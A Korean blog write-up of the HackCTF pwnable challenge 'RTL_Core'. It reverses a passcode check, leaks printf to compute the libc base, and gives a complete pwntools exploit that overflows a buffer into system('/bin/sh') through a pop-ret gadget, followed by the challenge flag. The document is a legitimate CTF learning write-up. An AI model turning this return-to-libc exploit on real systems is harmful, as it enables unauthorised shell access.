250점 첫 문제다 :D 바로 풀어보자
NX bit만 enabled 되어 있고
Partial RELRO가 걸려있다.
실행시키면 패스코드를 입력하라는 문자열과 함께
아무 값이나 입력하면 실패! 라고 알려준다
아이다로 열어보자
입력값 s가 인자로 들어가는 check_passcode의 리턴값이
hashcode와 같게 되면 core 함수가 실행된다.
hashcode는 0x0C0D9B0A7 (3235492007)이다.
check_passcode를 살펴보자
반복문을 살펴보면
v2 += 0 + a1
v2 += 4 + a1
v2 += 8 + a1
v2 += 12 + a1
v2 += 16 + a1
그 후 v2를 리턴해준다.
그렇다면 v2의 값이 hashcode (3235492007)와 같아져야 한다.
그럼 hashcode int 값을 5개의 숫자의 값을 더하면 나올 수 있도록 5개의 int 값을 만들자.
647098401
647098401
647098401
647098401
647098401 + 2
위 값을 패킹해서 보내주면 hashcode와 같아질 수 있을 것이다.
#-*- coding:utf-8 -*-
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3015)
#p = process("./rtlcore")
e = ELF("./libc.so.6")
payload = ""
for i in range(4):
payload += p32(647098401)
payload += p32(647098403)
p.recvuntil(": ")
p.sendline(payload)
p.interactive()
이런식으로 코드를 작성해주면
core 함수로 들어가면서 한 주소를 준다.
core 함수를 살펴보면
우선 아까 출력된 주소는 printf의 주소임을 알 수 있으며
read에서 BOF가 터지는것을 알 수 있다.
그러면 이제 익스코드를 구상해볼수 있다.
core 함수에서 printf의 주소를 출력해주니
출력되는 printf 주소에서 printf의 offset을 빼주면
libc의 base 주소를 구할 수 있다.
libc의 base 주소를 구했다면 system 함수의 주소도 구할 수 있고
"/bin/sh" 문자열의 주소도 구할 수 있을 것이다.
익스의 필요한 정보들을 정리해보자
1. 출력되는 printf Address를 활용하여 leak 한 후 libc base 주소 구하기
2. libc base 주소를 활용하여서 system 함수 주소 구하기
3. libc base 주소 활용해서 "/bin/sh" 문자열 주소 구하기
4. pr gadget 구하기
e = ELF("./libc.so.6")
p.recvuntil("바로 ")
print_addr = int(p.recv(10), 16)
libc_base = print_addr - e.symbols['printf']
나는 pwntools의 ELF 기능을 활용하여서
printf 주소에서 printf의 offset을 쉽게 뺄 수 있었다.
그럼 libc_base를 구했다.
system = libc_base + e.symbols['system']
binsh = libc_base + e.search("/bin/sh").next()
libc base address 주소에서 system offset을 더해주면 system 함수 주소를 구할 수 있다.
또한 pwntools의 기능을 활용하여서 "/bin/sh" 문자열의 주소를 구할 수 있다.
ROPgadget으로 pr gadget을 구했다.
pr = 0x08048683
이제 필요한 정보들은 다 구했으니 최종 익스 코드를 작성해보자
#-*- coding:utf-8 -*-
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3015)
#p = process("./rtlcore")
e = ELF("./libc.so.6")
pr = 0x08048683
payload = ""
for i in range(4):
payload += p32(647098401)
payload += p32(647098403)
p.recvuntil(": ")
p.sendline(payload)
p.recvuntil("바로 ")
print_addr = int(p.recv(10), 16)
libc_base = print_addr - e.symbols['printf']
log.info("libc_base : " + str(hex(libc_base)))
system = libc_base + e.symbols['system']
binsh = libc_base + e.search("/bin/sh").next()
log.info("system_Addr : " + str(hex(system)))
log.info("binsh_addr : " + str(hex(binsh)))
payload = ""
payload += "A" * 62
payload += "B" * 4
payload += p32(system)
payload += p32(pr)
payload += p32(binsh)
p.recvline()
p.sendline(payload)
p.interactive()
이런식으로 pr gadget으로 system 함수의 인자에 binsh문자열을 넣어서
RTL을 진행하였다.
FLAG = HackCTF{5ucc355ful_r7lc0r3_f1l3_4cc355}
흐어 롸업 써야되는 문제는 많은데
시간이 없다ㅏㅏ
오늘도 끄-읕🤗
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] SysROP (0) | 2021.03.08 |
---|---|
[pwnable] Look at me (0) | 2021.02.22 |
[Pwnable] Random Key (0) | 2021.02.06 |
[Pwnalbe] 1996 (0) | 2021.02.06 |
[Reversing] Handray (0) | 2021.02.04 |